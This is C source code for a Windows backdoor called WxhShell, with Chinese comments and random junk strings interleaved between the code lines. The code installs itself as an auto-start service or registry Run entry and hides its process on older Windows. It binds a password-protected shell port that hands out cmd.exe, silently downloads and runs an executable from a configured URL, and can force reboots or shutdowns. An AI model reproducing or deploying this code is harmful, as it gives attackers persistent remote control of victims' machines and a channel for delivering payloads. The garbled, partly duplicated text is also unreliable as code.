c HANDLE hProcess; mU$7_7V~ PROCESS_BASIC_INFORMATION pbi; vKC&Qi ; Z-a(3& HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yZ$;O0f&& if(NULL == hInst ) return 0; ?/MXcI( ~[q:y|3b g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `&zobbwq g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 66^t[[ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^)l@7XxD @|Bp'`j%J if (!NtQueryInformationProcess) return 0; eE%yo3 _|:bac8pL hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); b.*4RL if(!hProcess) return 0; @ -d4kg s'Gy+h. if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; }{oBKm9_p _PXo'*j CloseHandle(hProcess); 5q`)jd !*) *+4iBpyiB hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r.^X>? if(hProcess==NULL) return 0; -yGm^EwP 1>y=i+T/b HMODULE hMod; /,Id_TTCO char procName[255]; 'a?.X _t unsigned long cbNeeded; $ow`)?sh F)kLlsp if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <9tG_ vXQmEIm CloseHandle(hProcess); D D;+& fe f+Li'? if(strstr(procName,"services")) return 1; // 以服务启动 C*e[CP@u g
'a? return 0; // 注册表启动 D@W3;T^ } nvVsO>2{ o 3#9r4;& // 主模块 @~G`~8 int StartWxhshell(LPSTR lpCmdLine) HCkqh4 { $!!=fFX*y SOCKET wsl; [<a%\:c m4 BOOL val=TRUE; c.A/{a int port=0; >/kG5]zxY struct sockaddr_in door; %]$p ^m @SG"t,5s if(wscfg.ws_autoins) Install(); +u:OAsR "gajBY port=atoi(lpCmdLine); ={@ @`yP^$ KqUSTR1e[ if(port<=0) port=wscfg.ws_port; @/NZ>. i=H>D WSADATA data; H6S vU if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gs8@b5 RSb 9Sl|l.;! if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; XfK.Fj~- setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *Q120R door.sin_family = AF_INET; -U;LiO;N door.sin_addr.s_addr = inet_addr("127.0.0.1"); FK >8kC door.sin_port = htons(port); L8xprHgL Zi@+T if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 02#Iip3t closesocket(wsl); &~A*(+S return 1; maEpT43f } +Z~!n jTUf4&b- if(listen(wsl,2) == INVALID_SOCKET) { f%[ukMj& closesocket(wsl); o]jP3
$t; return 1; UMi`u6# } gIM'bA<~ Wxhshell(wsl); 9.OwH(Ax7 WSACleanup(); jy@i(@Z G$|;~'E return 0; UQ?OD~7 C5PBfn<j } nC.2./OwMf !v4j`A;% // 以NT服务方式启动 =*:_swd VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !"x7re { #iU8hUbo DWORD status = 0; ?r E]s!K DWORD specificError = 0xfffffff; {$1$]p~3o pH l2!{z serviceStatus.dwServiceType = SERVICE_WIN32; I&fh serviceStatus.dwCurrentState = SERVICE_START_PENDING; po2[uJ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `CEj 4 serviceStatus.dwWin32ExitCode = 0; =>ztB w\ serviceStatus.dwServiceSpecificExitCode = 0; <CKmMZ{ serviceStatus.dwCheckPoint = 0; OC>_=i$' serviceStatus.dwWaitHint = 0; Ar7mH4M Z t+FRR= hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |}p}`Mb)a if (hServiceStatusHandle==0) return; V;hwAQbF [H:GKhPC` status = GetLastError(); sqpOS!] if (status!=NO_ERROR) hB}h-i(u { R~5*#r@f serviceStatus.dwCurrentState = SERVICE_STOPPED; SM#S/|.] serviceStatus.dwCheckPoint = 0; =Pb5b6Y@6 serviceStatus.dwWaitHint = 0; 5-WRv; serviceStatus.dwWin32ExitCode = status; [aM' serviceStatus.dwServiceSpecificExitCode = specificError; 3AQ>>) T~ SetServiceStatus(hServiceStatusHandle, &serviceStatus); X*9N[#wu6 return; }wOpPN[4 } :{WrS 'bI ~61{A serviceStatus.dwCurrentState = SERVICE_RUNNING; 'Ywpdzz[ serviceStatus.dwCheckPoint = 0; {29S`-|P serviceStatus.dwWaitHint = 0; #DK3p0d if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); waWKpk1Wo } ^g-t#O lD? >AzWM
.r // 处理NT服务事件,比如:启动、停止 7}cDGdr VOID WINAPI NTServiceHandler(DWORD fdwControl) D@\;@(
| { H9san5{ switch(fdwControl) |!?WQ[ { s\C8t0C case SERVICE_CONTROL_STOP: it\DZGsg serviceStatus.dwWin32ExitCode = 0; D_n}p8blT serviceStatus.dwCurrentState = SERVICE_STOPPED; ZAX0n!db3 serviceStatus.dwCheckPoint = 0; w0j/\XN2s serviceStatus.dwWaitHint = 0; yB4H3Q ) { *fH_lG% SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z 5)_B,E:X } ,c%K)KuPK. return; <ql w+RVt case SERVICE_CONTROL_PAUSE: m&`(pf4A serviceStatus.dwCurrentState = SERVICE_PAUSED; 4OOn, 09 break; <{cNgKd9 case SERVICE_CONTROL_CONTINUE: JYg% ~tW' serviceStatus.dwCurrentState = SERVICE_RUNNING; 7*>S;$ break; :`Uyn!w case SERVICE_CONTROL_INTERROGATE: oO#xx)b break; mo;)0Vq2l }; p>:ef<.i SetServiceStatus(hServiceStatusHandle, &serviceStatus); G=Hf&l } t`Y!"l 8@%mnyQ // 标准应用程序主函数 *K,hrpYR int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
$' (QTEM { ) Kc%8hBv *m$PH"
// 获取操作系统版本 MZ5Y\-nq\ OsIsNt=GetOsVer(); 6
tc:A5mK GetModuleFileName(NULL,ExeFile,MAX_PATH); rXY;m- R>d@tr // 从命令行安装 hr[B^?6 if(strpbrk(lpCmdLine,"iI")) Install(); )W`SC mr] ',JrY) // 下载执行文件 |/;U)M if(wscfg.ws_downexe) { Q'|0?nBOY if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) OpK.Lsd0y WinExec(wscfg.ws_filenam,SW_HIDE); 8wII{FHX } +:> J Z$
+%Lt". o if(!OsIsNt) { `s`C{|wv // 如果时win9x,隐藏进程并且设置为注册表启动 /}w#Jk4pD HideProc(); /Fe:h>6 StartWxhshell(lpCmdLine); !.3R~0b } % Cu.u)/+ else WGh. ;- if(StartFromService()) wy{ \/?~c // 以服务方式启动 )d +hZ' StartServiceCtrlDispatcher(DispatchTable); U!c]_q else a#+>w5 // 普通方式启动 Bf5&}2u StartWxhshell(lpCmdLine); b4Cfd?' d/B'[Ur return 0; _)KY } dh^+l;!L IV{FH&t^T" 2'wr={>W Gz>Lqd =========================================== |1(rr% EJZ@p7*Oj M%$DT ?wd|G4.Vo I?a8h`WS+ ,AH0*L " 4K9Rpm 'aD6>8/Hj #include <stdio.h> nW4Vct #include <string.h> z,{e]MB)M #include <windows.h> |JUe>E* #include <winsock2.h> tu\mFHvlg #include <winsvc.h> %won=TG8 #include <urlmon.h> LBiowd[ m|pTn#*` #pragma comment (lib, "Ws2_32.lib") YC]PN5[1! #pragma comment (lib, "urlmon.lib") mEoA#U b'velj3A #define MAX_USER 100 // 最大客户端连接数
RT%x&j #define BUF_SOCK 200 // sock buffer V:
^JC>6 #define KEY_BUFF 255 // 输入 buffer aje^Z=] -uWKY6
:5 #define REBOOT 0 // 重启 T8n-u b< #define SHUTDOWN 1 // 关机 24| T H|?X0b #define DEF_PORT 5000 // 监听端口 N-[n\}' "JkZJ# #define REG_LEN 16 // 注册表键长度 ZCm1+Y$ #define SVC_LEN 80 // NT服务名长度 31~hlp; wms1IV%; // 从dll定义API 2~f6~\4GL+ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a{h%DpG typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Zj qA30! typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NuU'0_")/ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _u>t3RUA d,W/M(S // wxhshell配置信息 ,I]7g4~ struct WSCFG { v btAq^1 int ws_port; // 监听端口 RCzV5g char ws_passstr[REG_LEN]; // 口令 $[,l-[-+ int ws_autoins; // 安装标记, 1=yes 0=no vXephR' char ws_regname[REG_LEN]; // 注册表键名 W1vCN31 char ws_svcname[REG_LEN]; // 服务名 Fse['O~ char ws_svcdisp[SVC_LEN]; // 服务显示名 eY
T8$ char ws_svcdesc[SVC_LEN]; // 服务描述信息 M[~Jaxw% char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #wF1 int ws_downexe; // 下载执行标记, 1=yes 0=no Dy su{rL char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p ZtgIS(3 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2s 7mI' e1Ob!N- }; MRQZIi M
Hg6PQIB // default Wxhshell configuration huz86CO struct WSCFG wscfg={DEF_PORT, T?>E{1pS "xuhuanlingzhe", Zvxp%dES 1, dY8(nQG "Wxhshell", _R)&k%i} "Wxhshell", q0Xoj__c!A "WxhShell Service", _z q)0\ "Wrsky Windows CmdShell Service", 1!!\+
c2* "Please Input Your Password: ", RU6KIg{H 1, Jy9bY "http://www.wrsky.com/wxhshell.exe", ~;[&K%n "Wxhshell.exe" R2l[Q){! }; rJDnuR [[w2p // 消息定义模块 eK'wVg# char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hyfR9~ char *msg_ws_prompt="\n\r? for help\n\r#>"; wxj>W[V char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; cf)J ) char *msg_ws_ext="\n\rExit."; t:>x\V2m char *msg_ws_end="\n\rQuit."; y_*n9
)Ct char *msg_ws_boot="\n\rReboot..."; 8W;2oQN7 char *msg_ws_poff="\n\rShutdown..."; Zd[OWF char *msg_ws_down="\n\rSave to "; nTs/Q V i2*d+?Er char *msg_ws_err="\n\rErr!"; V$(/0mQV( char *msg_ws_ok="\n\rOK!"; , ;%yf? iX%[YQ | char ExeFile[MAX_PATH]; [(|^O>k8c int nUser = 0; qIh #~ HANDLE handles[MAX_USER]; GB>aT-G7q int OsIsNt; Gg|M+M?+ lyyX<=E{) SERVICE_STATUS serviceStatus; ^_68]l= SERVICE_STATUS_HANDLE hServiceStatusHandle; O+_N!/ ZHCr2^w6
// 函数声明 Q[uAIyv0 int Install(void); bg}+\/78# int Uninstall(void); jq(qo4~; int DownloadFile(char *sURL, SOCKET wsh); 0 " y%9
int Boot(int flag); >Q=Ukn;k void HideProc(void); d8E,o7$m int GetOsVer(void); |g<* Rk0
int Wxhshell(SOCKET wsl); i?;R}%~ void TalkWithClient(void *cs); {^J!<k,R\; int CmdShell(SOCKET sock); ]dG\j^e| int StartFromService(void); T1W:>~T5# int StartWxhshell(LPSTR lpCmdLine); b#/i.!:a U]1(&MgV VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \0ov[T N.> VOID WINAPI NTServiceHandler( DWORD fdwControl ); !,Nwts>m A2NF<ZsD // 数据结构和表定义 G`F8!O( SERVICE_TABLE_ENTRY DispatchTable[] = "~/9F { b{M}5~e=B {wscfg.ws_svcname, NTServiceMain}, <'+ %\ {NULL, NULL} +{$QAjW(/ }; \3zp)J rQJ"&CapT // 自我安装 K"\MU int Install(void) 6):Xzx, { l}rS{+:wK char svExeFile[MAX_PATH]; y\'P3ihK HKEY key; \~#WY5 strcpy(svExeFile,ExeFile); EB!daZH, (?3[3w~ // 如果是win9x系统,修改注册表设为自启动 SdJ/4&{ ! if(!OsIsNt) { )DT|(^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9JnY$e<& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =X-Tcj?3g RegCloseKey(key); ,a0pAj if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;Lo&}U3F,! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HI`q1m. RegCloseKey(key); dlD ki. return 0; ufrqsv]= } Bu3T/m } KKEN'-3 } >o~Z>lr else { =P`~t<ajB zN~6HZ_:^ // 如果是NT以上系统,安装为系统服务 vfw A$7N SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r&%.z*q if (schSCManager!=0) M T6/2d { P`jL]x SC_HANDLE schService = CreateService {Dr@HP/x=s ( 33K*qaRAD schSCManager, `uo,__y wscfg.ws_svcname, ;AIc?Cg wscfg.ws_svcdisp, .A6lj).: SERVICE_ALL_ACCESS, tmJgm5v SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c|AtBgvf SERVICE_AUTO_START, PB53myDQ SERVICE_ERROR_NORMAL, @hif$ svExeFile, LA%bq_>f NULL, VK:8 Nk_y NULL, AIRr{Y NULL, FT89*C)oD NULL, &|Np0R NULL jb[!E^'&> ); `/n M[ if (schService!=0)
Y<f_`h^r { iqwkARG" CloseServiceHandle(schService); Ai"-w" CloseServiceHandle(schSCManager); '91".c,3? strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F$MX,,4U strcat(svExeFile,wscfg.ws_svcname); F|+W.9 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xW_yLbE RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <rIz Z'D RegCloseKey(key); /6+NU^ return 0; @|\R}k%( } @=Fi7M } %ow^dzW CloseServiceHandle(schSCManager); p
fT60W[m } A],ooiq< } :+rUBYWx O+~ 7l?o return 1; P"_$uO( 5x } ;V5yXNQ Vj?DA5W`' // 自我卸载 +&|S'7&{ int Uninstall(void) xV\5<7qk5g { $uDqqG(^ HKEY key; a%vrt)Gx nFRsc'VT if(!OsIsNt) { :5fAPK2r< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l2jF#<S@ RegDeleteValue(key,wscfg.ws_regname); ihCIh6 RegCloseKey(key); !CUoHTmB if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TsQU6NNE RegDeleteValue(key,wscfg.ws_regname); XORk!m| RegCloseKey(key); 51BlM% return 0; H1EDMhn/ } "v-(g9( } !j:`7PT\ } ^W?Z else { h8e757z w5=tlb SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); PVOx`<ng if (schSCManager!=0) 3)=c]@N0 { fbvbz3N SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @Xp~2@I=ls if (schService!=0) 3AcD,,M>> { eqAW+Ptx if(DeleteService(schService)!=0) { q'Wr[A40j CloseServiceHandle(schService); >rsqH+oL CloseServiceHandle(schSCManager); !g!5_| return 0; qJ4T]FVN } `D$Jv N CloseServiceHandle(schService); 9W ^xlid6 } ~|ss*`CT CloseServiceHandle(schSCManager); "=/ f$Xf } _aWl]I){5 } ;)AfB#:d 0\9K3 return 1; o=J9 } }J:+{4Yn 5N[9
vW // 从指定url下载文件 [U@;\V$ int DownloadFile(char *sURL, SOCKET wsh) X0(tboj# { IuF_M<d, HRESULT hr; Nes=;%&]G char seps[]= "/"; _PFnh)o char *token; 2i{cQ96 char *file; Iq7}
char myURL[MAX_PATH]; vQ}6y char myFILE[MAX_PATH]; yifY%!@Xu :#~U<C@o strcpy(myURL,sURL); KJ2Pb"s token=strtok(myURL,seps); WI> P-D while(token!=NULL) `o]g~AKX { #|GSQJ$F)` file=token; e= vsuqGT token=strtok(NULL,seps); eB>s=}| } ew _-Eb ?<Wb@6kh` GetCurrentDirectory(MAX_PATH,myFILE); r}#\BbCv;7 strcat(myFILE, "\\"); z!;1i[|x strcat(myFILE, file); BVsD(
@lX send(wsh,myFILE,strlen(myFILE),0); fA/m1bYxg send(wsh,"...",3,0); (Rt7%{* hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ".^VI2T if(hr==S_OK) 7\]E~/g return 0; ]?O2:X else @Jm7^;9/ return 1; )a@k]#)Skm 5tjP6Z`!9` } W&(k!6<x Yim<>. ! // 系统电源模块 >_OYhgs1w int Boot(int flag) css64WX^0c { 3>E%e!D% HANDLE hToken; &k-Vcrcz TOKEN_PRIVILEGES tkp; W[EKD 7 9O{b]=>wq if(OsIsNt) { l3Njq^T OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y[B>~m8$ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HK\~Qnq tkp.PrivilegeCount = 1; ~'37`)]z tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =K'cM=WM6 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); toN^0F?Qm if(flag==REBOOT) { H~ZV*[A` if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sGh(#A0Pt return 0; 2(5ebe[ } 1f",}qe; else { }_=eT] if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) su*Pk|6% return 0; 'lHdOG } (=D&A<YX } lj+u@Z<xA else { W>-Et7&2 if(flag==REBOOT) { w 4[{2 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) oh#\]c\f return 0; 8-<:i } "-@[R else { qC
F5~;7 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ][}0#'/mV return 0; O G<,- 7 } c'/l,k } |5Xq0nvCe U9b?i$ return 1; ~4"qV_M } WAdCF-S 4pw6bK,s2\ // win9x进程隐藏模块 q6YX M void HideProc(void) )K &( { MSf;ZB ;M"9$M' HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N F)~W# if ( hKernel != NULL ) :y7c k/> { w$JvB5O pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Eke5Nb ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); |:8bNm5[ FreeLibrary(hKernel); 2-Y<4'> } ;b-XWK= A}eOFu`
return; mI 74x3 [ } .^B*e6DAD pz"0J_xDM // 获取操作系统版本 Lemui) int GetOsVer(void) p/+a=Yo { pK0"%eA OSVERSIONINFO winfo; O/[cpRe winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &b:1I7Cp* GetVersionEx(&winfo); 9B;{]c if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lg^Z*&( return 1; 5\z`-) else >2~=)L return 0; wI(M^8F_Mf } Xh56T^,2 *}P~P$q% // 客户端句柄模块 Gz.|]:1 int Wxhshell(SOCKET wsl) ;*MLRXq { UX7t`l2R SOCKET wsh; XI^QF;, struct sockaddr_in client; 5oAK8I DWORD myID; | Bi! Y]&j,j& while(nUser<MAX_USER) l\i)$=d&g { ;^Dpl'v%\ int nSize=sizeof(client); >y"+ -7V) wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =>-Rnc@ if(wsh==INVALID_SOCKET) return 1; B_.%i+ZZ 'inFKy'H handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zCk^B/j sM if(handles[nUser]==0) EN/,5<S<,[ closesocket(wsh); M3.do^ss else {.XEL nUser++; $< JaLS } } }59V&'t WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {;2PL^i 3W
N@J6? return 0; AIZ]jq } .[_L=_. i{`:(F5* // 关闭 socket v/ _ void CloseIt(SOCKET wsh) Hm*/C4B` { \kZ? closesocket(wsh); |:gf lseE nUser--; ff^=Ruf$ ExitThread(0); W)bLSL]`E } ueUuJxq) 7j-4TY~ // 客户端请求句柄 {tWf void TalkWithClient(void *cs) ^~etm { ')cMiX\v 9iQq.$A . SOCKET wsh=(SOCKET)cs; F%RRd/' char pwd[SVC_LEN]; |!4K!_y char cmd[KEY_BUFF]; [TmIVQ!B char chr[1]; c24dSNJg, int i,j; U>Slc08N Qnsi`1mASr while (nUser < MAX_USER) { iUN Ib VXwU?_4J. if(wscfg.ws_passstr) { #"G]ke1l$ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,0!}7;j_c //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e~=;c //ZeroMemory(pwd,KEY_BUFF); GB=X5<; i=0; LU!a'H'Q while(i<SVC_LEN) { vQ
6^xvk] xA$XT[D // 设置超时 4\iOeZRf fd_set FdRead; ]Gsv0Xk1 struct timeval TimeOut; s*. hl.k. FD_ZERO(&FdRead); fumm<:<CLO FD_SET(wsh,&FdRead); U2W|:~KM TimeOut.tv_sec=8; SHfy".A6.0 TimeOut.tv_usec=0; C&(N
I int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Tw-;7Ae if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ``hf=`We gtppv6<Mj4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); + R~'7*EI pwd=chr[0]; &OH={Au if(chr[0]==0xd || chr[0]==0xa) { Fww :$^_ k pwd=0; W:pIPDx1=! break; pOIJH =# } cQ
R]le%( i++; k5'Vy8q } s;ls qQk vg32y /l]S // 如果是非法用户,关闭 socket b gK}-EU if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Po^?QVJ7 } zBzZxK>$ u. F9g
# send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n-tgX?1' send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k%WTJbuG<) +V{kb<P while(1) { *nkoPVpC $Nhs1st*8 ZeroMemory(cmd,KEY_BUFF); ivJ@=pd)B _Tm3<o. // 自动支持客户端 telnet标准 ;,%fE2c j=0; gCB |DY while(j<KEY_BUFF) {
@niHl if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Sw ig;` cmd[j]=chr[0]; B|C2lu if(chr[0]==0xa || chr[0]==0xd) { c(xrP/yOwi cmd[j]=0; Ng2twfSl$ break; Z 2V.3 } L>Fa^jq5 j++; 86=}ZGWd } _-K2/6zy #lL^?|M // 下载文件 UGV+/zxIM if(strstr(cmd,"http://")) { ;n*.W|Uph send(wsh,msg_ws_down,strlen(msg_ws_down),0); =O5pY9UO if(DownloadFile(cmd,wsh)) TrEu'yxy8* send(wsh,msg_ws_err,strlen(msg_ws_err),0); kTOzSiq else ( R=:X+ k send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f<d`B]$( } "jKY1*? else { <lPm1/8 *v !9MU9[( switch(cmd[0]) { |4;Fd9q^m ,~N/- 5 // 帮助 IL#"~D? case '?': { hF~n)oQ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `ts$(u.w break; PR#exm& } nv|NQ
Tk // 安装 7rc0yB
case 'i': { &[?\k> if(Install()) 'CM|@Zz% send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tztu}t]N else a/4T>eC send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '}53f2%gKa break; ?jv/TBZX4 } $]/{[@5 // 卸载 N2^=E1|_ case 'r': { c <B/V0] if(Uninstall()) MzdV2. send(wsh,msg_ws_err,strlen(msg_ws_err),0); _^Ubs>d=* else /L
g)i\R; send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g[' ^L+hd break; 8Z8gRcv{p } 2j[=\K] // 显示 wxhshell 所在路径 C!<Ou6}!b case 'p': { XPXIg char svExeFile[MAX_PATH]; )4 e.k$X^ strcpy(svExeFile,"\n\r"); _YhES-Ff strcat(svExeFile,ExeFile); l` lk-nb send(wsh,svExeFile,strlen(svExeFile),0); {T$9?`h~M break; tTl%oN8Qw } M6"PX *K // 重启 SaO}e case 'b': { -V77C^()8d send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); iy.p n if(Boot(REBOOT)) G"qvz{* send(wsh,msg_ws_err,strlen(msg_ws_err),0); {L{o]Ii?g else { {H>gtpVy closesocket(wsh); mp1@|*Sn ExitThread(0); F]O`3e=! } Cw3a0u break; ?=sDM& ' } J/y83@ // 关机 O3,jg|, case 'd': { TQF| a\M' send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); EeE7#$l if(Boot(SHUTDOWN)) D0-3eV- send(wsh,msg_ws_err,strlen(msg_ws_err),0); z#wkiCRYm else { T4Uev*A closesocket(wsh); <44G]eb ExitThread(0); hD 82tr } oWT3apGO break; n:?a$Ldgm } Z"xvh81P // 获取shell r(TIw%L$ case 's': { ,]F,Uu_H7 CmdShell(wsh); WaRw05r closesocket(wsh); 76{G'}B ExitThread(0); Jq-]7N%k/ break; 7;(`MIFXs } ^}=,g // 退出 ~Fcm[eoC case 'x': { \';gvr| send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ty?cC** CloseIt(wsh); q6luUx,@m break; *Hn8)x}E } kS);xA8s] // 离开 j_?FmX
_ case 'q': { $bR~+C send(wsh,msg_ws_end,strlen(msg_ws_end),0); h7Kzq{$ closesocket(wsh); pz}.9 yI8 WSACleanup(); %YscBG exit(1); Czu9o;xr break; 194)QeoFw } CY5Z{qiX } )mT<MkP } S9y} v@L;x [Q // 提示信息 K($Npuu] if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6<QQ@5_ } r#p9x[f<Y } +~$ ]}% EW OVx*l return; sY&IquK^ } j</: WRA`] {%H'z$|{ // shell模块句柄 BX7kO0j int CmdShell(SOCKET sock) Cl7xt}I { kgP0x-Ap STARTUPINFO si; +'HqgSPyb ZeroMemory(&si,sizeof(si)); AQvudx)@" si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4Z&lYLq; si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G5 WVr$ PROCESS_INFORMATION ProcessInfo; |u<7?)mp char cmdline[]="cmd"; wlqksG[B CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^6V[=!& H return 0; yNBfUj -L } .Yn_*L+4* kn4`Fa;)O // 自身启动模式 Bj;'qB>3 int StartFromService(void) {4Cmu;u { 'zTLl8P typedef struct '-~~-}= sJ { 29.h91 DWORD ExitStatus; ?k{?GtSs DWORD PebBaseAddress; q>+k@>bk@ DWORD AffinityMask; JPw.8|V)y DWORD BasePriority; ]{@-HTt ULONG UniqueProcessId; uy$e?{Jf ULONG InheritedFromUniqueProcessId; YU'E@t5 } PROCESS_BASIC_INFORMATION; 3F2w-+L @#l= l PROCNTQSIP NtQueryInformationProcess; hHnYtq @I?=<Riu static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; BQMpHSJ_ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n{mfn*r. U'bEL^Jf HANDLE hProcess; ?Z/V~, PROCESS_BASIC_INFORMATION pbi; n/:33DAB eD6fpe\( HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @*((1(q if(NULL == hInst ) return 0; Qp3_f8 OQJ6e:BGt g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q@8*Xa > g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %>{0yEC NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Tyx_/pJT 3f{3NzN if (!NtQueryInformationProcess) return 0; lt8|9"9< @Jw-8Q{ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); SE %pw9 if(!hProcess) return 0; 2P0*NQ F={a;Dvrn if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; UP,c | 83#mB:^R CloseHandle(hProcess); }o`76rDN H G^'I+Yn hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vXje^>_6 if(hProcess==NULL) return 0; `b$.%S8uj= ~Mxvq9vaD HMODULE hMod; 